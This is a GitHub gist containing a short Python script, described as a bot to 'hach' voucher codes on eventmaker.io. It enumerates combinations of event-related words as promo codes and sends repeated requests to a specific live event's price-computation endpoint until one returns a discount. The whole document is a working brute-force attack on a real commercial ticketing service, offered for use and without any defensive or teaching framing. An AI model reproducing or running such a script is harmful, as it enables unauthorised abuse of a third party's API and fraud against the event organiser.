Skip to content

Instantly share code, notes, and snippets.

@ClementWalter
Created January 6, 2019 20:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ClementWalter/f72e824fadb119c6da524d2702b19f46 to your computer and use it in GitHub Desktop.
Save ClementWalter/f72e824fadb119c6da524d2702b19f46 to your computer and use it in GitHub Desktop.
Bot to hach voucher code in eventmaker.io website
import itertools
from unittest.mock import sentinel
import requests
if __name__ == '__main__':
alphabet = ['BD', 'GT', 'IDEAL', 'IDEALWINE', '18', '2018', 'BETTANE', 'DESSAUVE', 'GRAND', 'TASTING', 'ID']
product_len = 1
iterator = itertools.product(*(product_len * [alphabet]))
code = ''.join(next(iterator))
event_url = 'https://app.eventmaker.io/fr/public/events/5afc3cda8ab5bc00510013ec/guest_categories/5afc40f4fcb5a40024001a26/registrations/is_promo_code_valid'
compute_price_url = 'https://app.eventmaker.io/fr/public/events/5afc3cda8ab5bc00510013ec/guest_categories/5afc40c0fcb5a40024001953/registrations/cart_compute_price'
while not requests.put(compute_price_url,
data={
'linked_guests%5B0%5D%5Bguest_category_id%5D': '5afc3fa08ab5bc00510017aa',
'linked_guests%5B0%5D%5Buid%5D':'1',
'vat_number_valid': '',
'promo_code': code,
}).json()['discount_amount']:
code = next(iterator, sentinel.END_OF_ITERATION)
if code == sentinel.END_OF_ITERATION:
print(f'product_len : {product_len}')
product_len += 1
iterator = itertools.product(*(product_len * [alphabet]))
code = next(iterator, sentinel.END_OF_ITERATION)
code = ''.join(code)
print(f'code : {code}')
if product_len > 5:
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment